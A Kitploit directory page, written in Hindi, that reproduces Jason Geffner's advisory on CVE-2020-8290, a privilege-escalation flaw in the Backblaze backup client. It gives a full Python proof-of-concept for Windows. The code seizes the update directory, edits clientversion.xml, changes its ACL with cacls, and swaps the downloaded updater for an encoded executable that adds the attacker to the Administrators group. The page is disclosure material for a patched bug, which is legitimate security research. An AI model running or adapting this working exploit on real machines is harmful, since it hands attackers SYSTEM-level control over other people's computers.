Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-8290 — CVE-2020-8290 – Backblaze में विशेषाधिकार वृद्धि | Kitploit
उपकरण/GitHubGitHub/geffner/cve-2020-8290
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंग
GitHubgeffner/cve-2020-8290

CVE-2020-8290

CVE-2020-8290 – Backblaze में विशेषाधिकार वृद्धि

रिपॉजिटरी देखें
5 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2020-8290 – बैकब्लेज़ में विशेषाधिकार उन्नयन

सारांश

नाम: बैकब्लेज़ में विशेषाधिकार उन्नयन
CVE: CVE-2020-8290
खोजकर्ता: Jason Geffner
विक्रेता: Backblaze
उत्पाद: Backblaze for Windows और Backblaze for macOS
जोखिम: उच्च
खोज तिथि: 2020-03-13
प्रकाशन तिथि: 2020-09-09
पैच किया गया संस्करण: 7.0.0.439

परिचय

विकिपीडिया के अनुसार, Backblaze एक

"ऑनलाइन बैकअप टूल है जो Windows और macOS उपयोगकर्ताओं को अपने डेटा का बैकअप ऑफ-साइट डेटा केंद्रों में ले जाने की अनुमति देता है। यह सेवा व्यवसायों और अंतिम-उपयोगकर्ताओं के लिए डिज़ाइन की गई है, जो असीमित संग्रहण स्थान प्रदान करती है और असीमित फ़ाइल आकारों का समर्थन करती है।"

Backblaze for Windows और Backblaze for macOS के कमजोर संस्करणों में एक उच्च जोखिम वाली भेद्यता है जो एक स्थानीय अन-प्रिविलेज्ड हमलावर को विशेषाधिकार उन्नयन (EOP) हमला करके SYSTEM/root बनने की अनुमति देती है।

भेद्यता

Backblaze क्लाइंट की सेवा प्रक्रिया, जिसका नाम bzserv है, Windows पर SYSTEM और macOS पर root के रूप में चलती है। हर कुछ घंटों में, bzserv bztransmit नामक प्रोग्राम (SYSTEM/root के रूप में निष्पादित) चलाता है ताकि Backblaze के डेटा केंद्र से clientversion.xml नामक एक XML फ़ाइल डाउनलोड करके देख सके कि Backblaze क्लाइंट का कोई नया संस्करण डाउनलोड के लिए उपलब्ध है या नहीं, और यदि हाँ, तो नवीनतम क्लाइंट संस्करण का इंस्टॉलर Backblaze के डेटा केंद्र से डाउनलोड करता है। डाउनलोड किया गया इंस्टॉलर Windows में %ProgramData%\Backblaze\bzdata\bzupdates निर्देशिका में और macOS पर /Library/Backblaze.bzpkg/bzdata/bzupdates या /Library/Backblaze/bzdata/bzupdates निर्देशिका में सहेजा जाता है। एक बार डाउनलोड हो जाने पर, bztransmit डाउनलोड किए गए इंस्टॉलर को Windows पर के माध्यम से के रूप में या macOS पर के माध्यम से के रूप में चलाता है।

Windows पर, %ProgramData%\Backblaze\bzdata निर्देशिका इंस्टॉल-समय पर इस प्रकार बनाई जाती है कि स्थानीय अन-प्रिविलेज्ड उपयोगकर्ताओं के पास पढ़ने-और-लिखने की पहुंच हो। bztransmit प्रक्रिया bzupdates चाइल्ड निर्देशिका को SYSTEM के रूप में चलने के दौरान बनाती है, और एक बार बन जाने के बाद अन-प्रिविलेज्ड उपयोगकर्ताओं के पास इस चाइल्ड निर्देशिका तक पढ़ने-या-लिखने की पहुंच नहीं होती। हालाँकि, bztransmit प्रक्रिया इस bzupdates निर्देशिका पर ACL को सुरक्षित रूप से सत्यापित नहीं करती है यदि वह पहले से मौजूद हो, और न ही यदि निर्देशिका पहले से मौजूद हो तो ACL को सुरक्षित रूप से अद्यतन करती है। इस प्रकार, एक स्थानीय अन-प्रिविलेज्ड हमलावर Backblaze की स्थापना से पहले %ProgramData%\Backblaze\bzdata\bzupdates निर्देशिका बना सकता है, या Backblaze स्थापित होने के बाद और bztransmit द्वारा bzupdates चाइल्ड निर्देशिका बनाने से पहले %ProgramData%\Backblaze\bzdata के अंतर्गत bzupdates चाइल्ड निर्देशिका बना सकता है। यह हमलावर को bzupdates निर्देशिका का स्वामी बनने और उस निर्देशिका की फ़ाइलों पर पूर्ण नियंत्रण रखने की अनुमति देता है। इस प्रकार, हमलावर डाउनलोड किए गए अपडेट एक्ज़ीक्यूटेबल को डाउनलोड होने के बाद और निष्पादित होने से पहले संशोधित या प्रतिस्थापित कर सकता है, जिससे स्थानीय EOP संभव हो जाता है।

macOS पर, /Library/Backblaze.bzpkg/bzdata (या /Library/Backblaze/bzdata) निर्देशिका इंस्टॉल-समय पर अनुमतियों 0777 (drwxrwxrwx) के साथ बनाई जाती है, जिससे स्थानीय अन-प्रिविलेज्ड उपयोगकर्ताओं के पास पढ़ने-और-लिखने की पहुंच हो। bztransmit प्रक्रिया bzupdates चाइल्ड निर्देशिका को अनुमतियों 0755 (drwxr-xr-x) के साथ root के रूप में चलने के दौरान बनाती है, और एक बार बन जाने के बाद अन-प्रिविलेज्ड उपयोगकर्ताओं के पास इस चाइल्ड निर्देशिका तक पढ़ने-या-लिखने की पहुंच नहीं होती। हालाँकि, bztransmit प्रक्रिया इस bzupdates निर्देशिका की अनुमतियों को सुरक्षित रूप से सत्यापित नहीं करती है यदि वह पहले से मौजूद हो, और न ही यदि निर्देशिका पहले से मौजूद हो तो अनुमतियों को सुरक्षित रूप से अद्यतन करती है। इस प्रकार, एक स्थानीय अन-प्रिविलेज्ड हमलावर Backblaze स्थापित होने के बाद और bztransmit द्वारा bzupdates चाइल्ड निर्देशिका बनाने से पहले (या ) के अंतर्गत चाइल्ड निर्देशिका बना सकता है। यह हमलावर को निर्देशिका का स्वामी बनने और उस निर्देशिका की फ़ाइलों पर पूर्ण नियंत्रण रखने की अनुमति देता है। इस प्रकार, हमलावर डाउनलोड किए गए अपडेट एक्ज़ीक्यूटेबल को डाउनलोड होने के बाद और निष्पादित होने से पहले संशोधित या प्रतिस्थापित कर सकता है, जिससे स्थानीय EOP संभव हो जाता है।

प्रमाण की अवधारणा

वीडियो: https://youtu.be/OpC6neWd2aM

उपरोक्त वीडियो एक ही VM में दो समवर्ती लॉगिन दिखाता है: बाईं ओर एक व्यवस्थापक का सत्र, और दाईं ओर एक अन-प्रिविलेज्ड हमलावर का सत्र। आप वीडियो में निम्नलिखित चरण देख सकते हैं:

  1. Attacker यह दिखाने के लिए net localgroup Administrators चलाता है कि अन-प्रिविलेज्ड हमलावर का खाता (Attacker नाम का) Administrators समूह का सदस्य नहीं है।
  2. हमलावर python eop.py चलाता है (जिसका स्रोत कोड नीचे है)।
  3. फिर व्यवस्थापक Backblaze स्थापित करता है।
  4. छह मिनट बाद, स्थापित Backblaze सेवा clientversion.xml डाउनलोड करती है, जिसे एक्सप्लॉइट अधिलेखित कर देता है।
  5. एक मिनट बाद, स्थापित Backblaze सेवा अपडेटर एक्ज़ीक्यूटेबल डाउनलोड करती है, जिसे एक्सप्लॉइट अधिलेखित कर देता है।
  6. फिर Backblaze सेवा अधिलेखित अपडेटर को चलाती है, जो Attacker खाते को Administrators समूह में जोड़ देता है।
  7. फिर हमलावर यह दिखाने के लिए net localgroup Administrators फिर से चलाता है कि Attacker खाता वास्तव में Administrators समूह में जोड़ दिया गया है। स्थानीय विशेषाधिकार उन्नयन पूर्ण।
root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""


__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content


def am_i_admin():
    bufptr = ctypes.c_void_p()
    ctypes.windll.netapi32.NetUserGetInfo(
        os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
        ctypes.byref(bufptr))
    if platform.architecture()[0] == "32bit":
        usri1_priv = ctypes.string_at(bufptr, 13)[-1]
    else:
        usri1_priv = ctypes.string_at(bufptr, 21)[-1]
    ctypes.windll.netapi32.NetApiBufferFree(bufptr)
    return usri1_priv == 2


def poc():
    print(f"Running as user: {os.environ['USERNAME']}")

    # Ensure that we're running as an unprivileged user.
    print("Testing for administrative privileges...")
    if am_i_admin():
        print("You're already an administrator. Bye!")
        return
    print("You're a non-administrative user.")

    # Raise our process's priority to try to win our race condition.
    pid = ctypes.windll.kernel32.GetCurrentProcessId()
    h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
    ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
    ctypes.windll.kernel32.CloseHandle(h)

    # Create the bzupdates directory so that we are the owner of it.
    bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
    if os.path.exists(bzupdates):
        print("Backblaze's bzupdates directory was already created. You're " +
              "too late!")
        return
    os.makedirs(bzupdates)

    #
    # Get the installed hguid value so that we can force an update via
    # clientversion.xml.
    #
    if platform.architecture()[0] == "32bit":
        bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
    else:
        bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
                    "\\Backblaze\\bzinstall.xml"
    if not os.path.exists(bzinstall):
        print("Waiting for Backblaze's installer to assign an hguid value.")
        wait_for_filesystem_object(bzinstall)
        print("Backblaze assigned an hguid value.")
    with open(bzinstall) as f:
        xml = f.read()
    hguid = re.search('hguid="([^"]+)"', xml).group(1)

    # Force update via clientversion.xml.
    if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
        print("Waiting for Backblaze to download clientversion.xml.")
        wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
        print("clientversion.xml now downloaded.")
    with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
        xml = f.read()
        xml = re.sub('update_hguids_firstchar=".',
                     f'update_hguids_firstchar="{hguid[0]}', xml)
        xml = xml.replace('win32_version="', 'win32_version="1')
        f.truncate(0)
        f.seek(0)
        f.write(xml)
    print("clientversion.xml modified to force update next time Backblaze " +
          "considers updating.")

    # Don't allow SYSTEM to overwrite clientversion.xml.
    subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
                    "/setowner", f"{os.environ['USERNAME']}"])
    print()
    subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
                   '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
    print()

    #
    # Create an executable to replace the downloaded update, which will elevate
    # our privileges.
    #
    exe_content = get_exe_content()
    with open(f"{bzupdates}\\eop.exe", "wb") as f:
        f.write(exe_content)

    #
    # Wait for update to download and overwrite it with attacker's executable.
    # In this PoC we use iexpress.exe (built into Windows) to create an EXE that
    # adds the attacker to the Administrators group, but an attacker could
    # supply any executable content they like.
    #
    exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
    print(f"Waiting for Backblaze to download {exe}.")
    wait_for_filesystem_object(f"{bzupdates}\\{exe}")
    os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
    print(f"{exe} downloaded and replaced.")
    print(f"{exe} should now get executed as SYSTEM.")

    for i in range(5):
        if am_i_admin():
            print("Success! You're now an administrator!")
            return
        time.sleep(1)
    print("Exploit failed. We probably lost the race-condition when " +
          f"overwriting {exe}.")


if __name__ == "__main__":
    poc()

शमन

Backblaze ने इस भेद्यता को Backblaze संस्करण 7.0.0.439 में पैच किया।

खोजकर्ता

यह भेद्यता Jason Geffner द्वारा खोजी गई और HackerOne के माध्यम से Backblaze को रिपोर्ट की गई।

समयरेखा

2020-03-13 - भेद्यता खोजी गई और HackerOne के माध्यम से Backblaze को रिपोर्ट की गई
2020-03-26 - HackerOne ने भेद्यता सत्यापित की
2020-04-22 - CVE-2020-8152 निर्दिष्ट किया गया
2020-04-22 - बिल्ड 7.0.0.439 जारी किया गया
2020-04-22 - भेद्यता शमन सत्यापित किया गया
2020-04-23 - सार्वजनिक प्रकटीकरण का अनुरोध किया गया
2020-09-09 - सार्वजनिक प्रकटीकरण
2020-12-22 - CVE असाइनमेंट बदलकर CVE-2020-8290 कर दिया गया

टूल डाउनलोड करें
ShellExecute()
SYSTEM
system()
root
/Library/Backblaze.bzpkg/bzdata
/Library/Backblaze/bzdata
bzupdates
bzupdates